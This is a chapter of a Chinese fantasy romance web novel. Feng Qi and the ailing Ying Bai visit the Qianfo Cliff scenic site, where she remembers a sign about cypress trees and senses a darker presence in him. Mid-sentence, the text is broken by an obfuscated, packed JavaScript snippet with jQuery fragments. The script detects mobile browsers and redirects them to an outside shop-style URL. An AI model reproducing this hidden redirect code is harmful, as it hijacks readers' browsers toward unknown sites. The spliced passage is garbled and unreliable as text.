138. 仙人抚顶

作品:《山鬼谣

    风岐想探出脑袋,又觉得去查手机地图更便捷,最后发现自己着实傻得要命,直接问司机这是哪儿不就好了?


    她扭头,吓了一大跳,应柏的脸惨白如纸,豆大的汗正在向下滴落。


    她惊诧问道:“你怎么了?”


    “为什么......讨厌这儿?”应柏声音发飘,一字字像牙缝里挤出来的。


    风岐呆呆摇头,她记事情全凭直觉。肯定是发生过什么惹她不高兴的事,毕竟她这个人从来都记仇,有时候路上被人不小心撞一下,她能连带着那条马路都讨厌的。


    前方的羊终于走完,应柏深深吸上一口气,勉力抑制着自心脏蔓向四肢百骸的冰冷。


    这里距离千佛崖,不足一公里。这条时常干涸的河,自这儿延伸至景区之内。


    心脏像被一只手捏得变了形,只有大口呼吸才能泵入少许可供他继续存活的血,前方的道路仍旧狭窄而崎岖,后面已有来车,他不能停在这里。


    继续向前,他又问她一遍:“为什么……讨厌这儿?”


    ——


    千佛崖的景区停车场修得很大,他们到达时,前后都是一片空旷,应柏开门下车,步伐有些踉跄,绕过车前险些摔倒,手撑在车盖上才能勉强站稳。


    风岐赶忙下去扶住他,她终于意识到是自己说错了话——这里是肖君原捡到他的地方,她说讨厌这儿,他会怎么想?


    “应柏,你、你别乱想,我那时候太小了,肯定、肯定......”她想说一句“肯定和你没关系”,可她不敢,这里对他而言很重要,而她那样厌恶,肯定是有关系的。


    只是叫千佛岩千佛崖的地方实在太多,如果不是刚才认出来那条河,只凭个名字,她真的不知道她竟然还来过这里。


    应柏左手捂在胸口,疼痛早已让他的呼吸紊乱,身体有些不受控的痉挛,他的下唇已被咬破,唇边猩红一片,偏生嘴角还噙着一抹讥嘲的笑,人死死盯着不远处的景区入口。


    如果他的目光中带着火,她觉得这里瞬间就要被他烧作一片废墟。


    “我们回去吧,”她抬手想要去按他额角随疼痛跃起的青筋,但身体也在发抖,她害怕他这副模样,她现在什么都不想管了,“应柏,我们回去吧。”


    “是头痛吗?还是、还是哪里痛,你告诉我好不好?”


    真的只是因为她这一句话吗?或许这里有什么克制他的禁制?就像是山薮一样,他专门排除过山薮的,离山薮近了,他也是能感受到的。


    或许是其它的什么东西。


    她不敢继续耽误工夫,伸手就要去掏他的口袋。


    “我开车、我开车,我们先走。我们不去了、不去了......”哪里都不要去了,她不要看到他这副模样,“我不要去了,应柏,我不要去了......”


    手臂一紧,是他将她搂进了怀里。


    他的声音很远,很艰难地念出她名字:“我......没事。”


    她的手被他贴去他的心口,那里有缓慢而迟滞的心跳:“你......讨厌我吗?”


    “应柏你在胡说什么啊?”怎么就又被他上升了啊?他脑子里究竟都是些什么?就因为一件她根本记不起来的事,她对他的感情就都作废了吗?


    凭什么啊?她觉得他说这种话是在侮辱她。想生气,但看他这副模样怎么都气不起来。


    应柏觉得自己问出这句话很可笑,她对柏树那样爱惜,偏偏只有这里让她讨厌,还能是因为什么?


    果然,无论她在意与否,他总是瞒不过她的。


    冒牌货终归是不一样的。


    “痛的......”他落着泪,用自己的手牢牢裹住她的手,逼她来替自己捂热心脏,“痛......”


    “风岐,别讨厌我,求你,不要讨厌我。”


    她真想甩开他的手,可他泪如雨下,身体颤抖得愈来愈厉害。


    “别讨厌我……”


    风岐逼着自己冷静下来,想把他先扶回车上,目光几番转过四周,脑海中隐约浮起一座塔的形状,在她皱起眉头前,唇就被堵住了。


    他吻得极具侵略性,她后腰抵在车前,人几欲弯折。


    “你只能喜欢我,只能喜欢我,不许喜欢别人,你只能喜欢我。”


    他下唇的伤口仍在渗血,缠吻间满是血腥,她双臂拦在身前想要挡住他,可根本抵挡不住。


    她觉得他疯了,她甚至觉得自己会站在这儿被他吃掉,他吻得她有些痛,痛让她脑海中的那座矮塔开始变得愈发清晰。


    应该是塔旁边有个什么让她很讨厌的东西。


    “应、应柏……”她拼命将自己的手从他掌心当中向外抽,费了好一番工夫才能抽出来,她又奋力去推他胸膛,这一次,他的双臂疏忽松开,人向后踉跄两步,目光本还凝在她面庞上,对上她视线的一瞬,他又向后退了一步,双肩缩了起来。


    她又有些后悔用了这样大的力气去推他,只刚才对视的一瞬,她看清了他眼中的受伤神色。


    他喃喃:“别不要我......”


    她走上前,他依旧低着头,一滴泪就落在她的面颊上,冰凉。


    “应柏……”


    她去牵他的手,他依旧没有看她,只在双手相触的一瞬骤然抓紧,眼泪早断了线。


    “对不起。”余光里是她的唇边血,小小一片,大约只有小指甲盖大小,自她唇边延伸开去,鲜红刺目。


    抬起手,想要擦,却在伸出手的一瞬骤然收回。不要擦,不想擦,他的血就该留在她身上,那一片还太少,还不够,他低头又要去吻她,她双眼登时圆睁:“应柏!”


    他刚托住她面庞的手就又顿住了,他定定望着她,她双眼里荡漾着水光,那里面有什么?


    是不是满是失望?


    “对不起......”


    看他偏开目光想要后撤,她踮起脚捧住他的脸,温声道:“我们先离开这儿,好不好?”


    他怎么会这么惊慌?在这里要怎么问?还是该先走,或者……


    她下意识扭头去看景区大门,既然她有印象,说不定她进去可以记起什么来。


    双手沿着他的面庞滑下,她牵住他双手:“应柏,我真的记不得了,要不然你在车上等我,我进去看看。”


    他将她的手重新抬至唇边,紧紧贴着,不住念着她的名字。


    可能性太多,她一时半会儿也想不出来什么能安慰他,只能说:“让我去看一下,好不好?你在这里等我。我扶你上车......”


    她之后的话全被闷进他的胸膛,他握在她肩头的手像铁爪,这个怀抱像座囚笼,她动弹不得。


    “你对里面……还有印象吗?”


    他胸腔的震动渐渐渡来,她几番想要他先上车,都被他以更紧一圈的怀抱回应。


    “我、我告诉你。”他深呼吸几次,心脏的疼痛丝毫未减,只有降低语速,才能把字一个个咬出来。


    他口头描述着景区内的路线。


    从木门进,里面先是一座十多年前新建的两进小庙,过庙后分东西两侧,向东走,经过一片塔林,再走一段台阶,就是二十多个本世纪初刚被发现的风化得十分严重的龛窟。


    向西走,上一段坡,就是单独的一座矮塔......


    说到这儿,他感受到怀里她的身体动了一下。


    他眨了眨眼,没有意料中的眼泪落下,应该是如同那片河床般已经干涸。


    “塔的后面,有六棵......”忍下哽咽,他将面颊贴在她耳后,“千年的柏树。”


    同她贴在一起,他能感受到她变快的心跳。


    “是……”风从齿缝钻出,生冷,问题似乎没了开口的必要,但他还是问了出来,“就是那儿……对、对吗?”


    ——


    风岐一直觉得发火的时候哭很丢人,可他这样说她,让她满腔都是委屈。


    他就像认定了她讨厌的一定是其中那棵代表他的柏树。


    她擦一把泪,猛地推开他,对他怒目而视:“你没长眼睛吗?我对你的感情要靠这些乱七八糟的作证吗?”


    “你活生生地站在这儿,我也站在这儿,我们之间的感情是我们两个人之间产生的,不是这样那样依靠外物来证明的。”


    “我喜欢一棵树不喜欢一棵树又怎么样?这和我们到底有什么关系?凭什么每次有点什么事你就要......”


    他从被她推开后就站在三步开外,听到这里,轻轻笑了一下:“你已经默认了,不是吗?”


    风岐一怔,哭着吼了出来:“应柏你到底要做什么啊?”


    她确实记得塔,但是她真的不知道那里有树。她虽然有时候心眼儿比较小,但她不觉得自己是一个会跟树较劲的人。


    同他生这个气没有半点儿用,她明白今天不弄明白这回事,谁都不会好受。


    她转身就向检票口走,却被他一把拉住。


    她要开口,他道:“一起去。”


    她没再劝他,只跟他一起买票过安检,她一直半扶着他,他起先步伐还算平稳,但开始上坡后,愈加沉重。


    踏上台阶,那一排柏树已在视线之内,但最后几级他都无法迈步,他气声说:“扶我上台阶。”


    她想松手,可他又在求她:“扶我上去,好不好?”


    她问他是哪棵柏树,可他却又闷声不答,经过塔边,她耐着性子又问一遍,身上一重,是他倒了下去。


    她的眼泪再次决堤:“应柏,你不要再吓我了,算我求你......”她不明白他在倔什么,都到了这儿,还有什么可让她猜的,“你告诉我是哪棵好不好?”


    “应柏,求求你,不要再吓我了,我害怕,我真的害怕的。”


    她刚才匆匆扫过一眼,塔后五米开外是有不少树,好像也不止六棵,如果不是他提前告诉过她那里有柏树,她根本认不出来。


    这些树也不全是圆锥形的。


    应柏压在她肩头喘气,他的左手捂着胸口,很久才能发出声音,他几番挣扎才能抬手问她:“是那棵吗?”


    风岐回头,那里正好有一颗相当粗壮的树,她眯了眯眼,依旧没什么印象,但下一秒,树旁的蓝色牌子吸引了她的注意力。


    应柏气都快吸不上来了,风岐脑中转得飞快,但一时间还是想不清楚:“应该、应该不是树。”


    “不要......骗我。”


    “这一次......别骗我。”


    “不是,让我去看看,好不好,我应该能记得的,让我去看一眼那个牌子。”


    “我不会说假话的,你信我,应该就是那个牌子的问题。”


    “你可以一个人在这儿吗?我去看一下,好吗,很快就回来的。”


    “应柏,这次不骗你。”


    应柏奋力抬脸,在她要起身前抬手托住了她的后脑,重重印下一个吻。风岐放开他起身,他双臂垂落,一手捂着心口一手撑在地上,死死咬着唇。


    她不明白怎么就能这么严重,只现在不是犹豫的时候,她飞快地冲到牌子面前。


    只看一眼她就愣住了,那块牌子上印着有关这片柏树的介绍语,是一段让她很不舒服的话。


    她忽然间笑了,笑得眼泪直掉,脑子还算清醒,迅速掏出手机给牌子拍了张照片又奔回应柏身边,跪在他身旁,把照片举到他眼前。


    “你看,不是树、不是树,真的不是树。你看,我拍下来了,是牌子上的话。”


    她终于知道自己是从哪里听来的“柏通悲”了。


    应柏的呼吸依旧混乱,维持着原本的姿势抬着头,她凑过去跟他一起看牌子上的字。


    她缓了缓,终于想起来当初的想法,带着哽声同他说:“我和我妈妈来这儿,那时候这儿.....”


    风岐曾跟着戚拏云去过很多还未对外开放的地方,那时候过来,应该是景区正式营业前不久。


    当时这块牌子还是簇新的。


    当地称这种寿命很长的柏树叫千岁松。因为这里的方言,柏通悲音,不吉利。


    “我......我很讨厌这句话,既然觉得柏通悲,那为什么不直接种松树?既然种下了柏树,凭什么不敢就叫千岁柏,还假惺惺地要叫什么千岁松。”


    记忆愈发清晰,应该就是这个位置,她对妈妈一撇嘴,说:“人类可真是虚伪。”


    “我讨厌这种说法,凭什么又要柏树的常青,又……”


    为什么要赋予植物超出其本身的含义?


    为什么明明想要享受它的好处,却连承认的胆量都没有?


    “应柏、应柏,”她捧着他的脸,“我们先起来。”


    应柏跪在原地,一动未动。


    “应柏?”她的手滑到他的手臂,他的目光没有偏离她的脸半分,呼吸比原先安定了不少。


    他的声音沙哑无比,但那股不悦她听得一清二楚:“你就这么喜欢柏树吗?”


    “啊?”风岐对上他的眼,他的双眼飞快垂下,又语气淡漠问了一遍。


    风岐气笑了,刚才吓得半死,现在气还没喘匀又要跟树较劲。


    “你是不是真有病啊应柏?”


    要不是他现在这副奄奄一息的模样,她真想起来踹他一脚。她怀疑他就是觉得她最近日子好过了点儿,就又开始找吊桥效应了。


    她着实不想再理他,可他的脸依旧苍白。


    四周没有游客,她索性捧起他的脸,认真同他说清楚:“我喜欢的是你,我对柏树......”


    说起来,她对柏树算不算得上喜欢都两说。


    他们说她藏柏树枝,但那些事她早忘了,这块牌子也纯属对于文字本身含义的厌恶,至于现在对柏树的感情......


    面庞开始发烫,那不还都是因为他的名字,人总是爱屋及乌的。


    “你自己悟吧我真是不想管你了。”


    应柏本想随她起身,但刚才的痛楚还未散尽,刚抬起一点点又落了回去。


    风岐赶忙重新跪下,从前托抱住他:“慢点、慢点......”


    算了,还是先不计较了,等回去再吵架好了。


    “你......先起来,我还要再缓一会儿,你......先起来。”应柏浑身没了力气,现在腿都是软的,身上早被汗浸湿,风一吹浑身发寒。


    “风岐,”他的手托了托她的手,示意她起身,“先起来。”


    听着应柏的呼吸渐渐回稳,风岐等了等,心头终于松了口气,站起来,应柏就跪在她面前垂着脑袋,这姿势,她忽然就笑了。


    “应柏,知道你这样,让我想起什么了吗?”


    “嗯?”应柏的声音落到了实处,便也抬眼望她。


    她摸了摸他硬得扎手的头发,讨了个便宜,念了两句不知道想起多少次却总是没能开口的诗。


    “天上白玉京,十二楼五城,仙人抚我顶,结发受长生。”【1】


    她一双眼四处转着,话音刚落撒腿就跑。可对着那牌子跑到一半,她心头一凛。


    她的身后,传来重物轰然倒地的声音。


    赶忙回身,只见先前明明能感受到身体变稳的应柏彻底趴倒在地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954208|185886||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,扑在地上的双手奋力挣着,却怎么都起不了身。


    风岐瞬间就冲了回去,扶着应柏的肩头就要向上抬,可抬不起来。


    是她刚才不小心踢到他了吗?早知道不该跑的,现在是她能撒欢儿的时候吗?乐极生悲乐极生悲早忘了个干净。


    折腾了好半晌,应柏的喘息前所未有的粗重,连句囫囵话都说不出来,人好不容易抬起些许,单臂一揽先将她搂进了怀里。


    搂得死紧。


    “应柏,你怎么了?是不是还是难受?”


    风岐的脸就贴在应柏的脖子上,她不住垂眼去看自己的眼泪究竟能不能流到他的皮肤上。


    “嗯......”他的发音十分含糊,风岐不敢催促,只不断抚着他胸口,“不着急、不着急......”


    他呼哧呼哧的,像刚刚奔跑过的野兽,说出的话全是音节,她一个字都听不明白。


    她不住哄着他,哄着哄着也怕了,他很久都没有痛过了,如果这里真的有渊源,万一确实对他会有什么影响呢?


    “我......我先打120,要吗?”她颤声问他,他这么大块头,她是真搬不动他,“或者你在这里等我,我......”


    “你......”他胸腔里都带着喘,风岐背后的力道又加大了几分,“要去哪儿......”


    风岐一愣,抚着应柏胸口的手也被他握紧狠狠按住了他的心口,刚要说去门卫喊人,他后几个字就冒了出来:“不许……去。”


    “不许……走。”他灼热的鼻息尽数喷在她颈后。


    风岐费了好大劲,最后还是应柏自己先抬起了一条腿,左臂在大腿上撑了一把,这才缓缓站起身。


    起身后又是一个趔趄,环在风岐肩头的右臂又一次收紧,风岐赶紧搂住他的腰。


    “我们先去坐着,去……”她看向不远处的长椅。


    “嗯。”


    仅仅二十米,风岐觉得自己像个背了壳的乌龟,抬眼看了他几回,都见他紧闭双眼,左手撑在额头上,额上青筋暴起,眉头紧皱。


    她不敢作声,只任由他将大半个身体的重量全压在她肩头,一步步挪过去。


    坐上长椅,应柏的左手先一步缠上她的手,十指交缠,半分空隙都没有留下。


    他的背倚在椅背上,风岐顺势摸了他额头一把,心头一惊。他的体温一直都很正常,甚至好像要比她稍低一些,怎么会这么烫?


    他会发烧吗?他不是刀枪不入的吗?


    他依旧喉咙里含混地发了几个音,久久才说:“让我......休息一会儿。”


    她抿了抿唇,他的手倏忽松开,在她呆呆看着他手的时候,他长臂一伸,将她搂进了怀里。这一搂,就像用去了他全部的气力,他再也不动了。


    “应柏......”开了口她又觉得还是得让他安静一会儿,病人最大,他想自己缓,那就还是听他的。


    他哼笑一声,没有作答。


    她的手去摸他的心口,好像比先前的心跳慢了一些,刚要收回手,他的另一只手又按了上来,不许她撤。


    大约就这样坐了二十多分钟,他的呼吸与心情彻底平稳下来,风岐手都麻了,抽了几次才能抽出来。


    她心里骂他骂了一百八十多遍。


    “我之前......做过一个梦。”应柏的眼睛依旧闭着。


    风岐愣了愣,又摸一下他额头,好像还是有点烫。


    她说:“我们先回去吧,先回去休息。”说回去好像也不知道该回哪里去,“我们先去市区住下来,好不好?”


    他环在她手臂上的那只手又是一紧,答非所问:“九嶷山上有两棵树。”


    “一棵是建木......”


    风岐咬住舌尖,咽回了随本能要接的俏皮话。


    他停顿了很长一段时间,才继续说着:“另一棵是柏木。”


    “然后呢?”她还在等下文,可他就抿着唇,也不看她,她问他:“结束了?”


    他又是哼笑一声,低沉的声线带起她心头的颤,颤中有一抹异样的感受,正要细想,他的眼睛,睁开了。


    他只微微偏脸看了她一下,这一瞬间,她发旋上的绒毛直挺挺翘起来一簇。


    她的呼吸几乎停滞。


    风岐直觉自己心中的每一个自己都在尖叫同一个字。


    “跑!!!!!!!!!”


    她甚至怀疑这个字已经冲破天灵盖被她叫了出来。


    这个眼神她只见过一次,和监控里的,还有过去每一次他和她吵架时的都不一样。


    完全不一样的眼神。


    只有那个梦里,那只奄奄一息行将就木的赤豹幻化成人的一瞬她才见过。


    这不是应柏、不是应柏,她下意识就向后缩,身侧的那条手臂却像铁环一样紧紧箍住了她的腰。


    她勉力定了定心神,便见应柏焦急地问她:“风岐,怎么了?”


    是她的错觉吗?


    颊畔被轻轻摩挲了一下,风岐硬生生打了个哆嗦,应柏倾过身子,眼中焦急被温和缱绻渐渐推散:“怎么了?”


    说着,他的手握过她的,唇在她手背上贴了一下,像是万般怜惜:“怎么这么凉?”


    看着自己手背上的鲜红唇印,她的眼珠飞快地转着。


    真的是她的错觉吗?


    还是她刚才......她刚才说了什么?


    她刚才说什么了?


    不对,她刚才念的那首诗,那首诗里有一个词,一个代指天宫的词。


    玉京。


    天上白玉京。


    一阵凛冽寒风吹得她面颊生疼,她咬一下舌尖,逼着自己镇定下来:“我......你要是......我是说......”


    她又向后缩了一下,那条手臂先是一紧,却很快松开收了回去,只见面前人认真地看着她,是在等她的下文。


    有一个最简单的测试方法,她生涩地咽了咽:“一会儿回去,我来开车吧,你......嗯......你休息......”


    他低下头沉默半晌,风岐四处张望,好在不远处就是一块指路牌,她仔细辨认着上面的字,就听身旁“叮当”一声,是他交出了车钥匙。


    “好。”


    风岐咬紧牙,目光自他颈侧错开,她能感觉到自己的身体在微微发颤,余光里,他脱下了黑色的羊绒大衣。


    她还没来得及发问,他已经把大衣披在她身上,裹了裹:“冷得厉害吗?”


    手背触碰到大衣内里,残存的体温烫得她又是一个哆嗦。


    风岐霍然起身,应柏长臂一伸抓住了因她动作自她肩头滑落的大衣,他随她站起,巨大的阴影将她笼罩于下,她下意识连退两步。


    硬着头皮看他一眼,对上他微讶的目光,她咬了咬唇:“你......要不你先在这儿休息一会儿,我去把塔林看了,很快就回来......”


    “一会儿我回来叫你。”她都不知道自己怎么就这么没出息地带上了哭腔,不待他回答,她转身就走。


    步速刚要加快,面前黑影一闪,是被他拦了下来。他理了理大衣,慢条斯理地叠好,搭上小臂。


    他内搭依旧是一件贴身的黑色半高领羊绒衫,浑身肌肉贲张,与梦中蓄势待发的那个瞬间一模一样。


    他俯身与她对视,柔声问道:“让我跟你一起去,好不好?”


    “不用不用,你休息就好。”风岐赶忙从他身边绕。


    擦身而过的瞬间,他站直身体,声音冷冽如刀:“九嶷,想清楚再回答我。”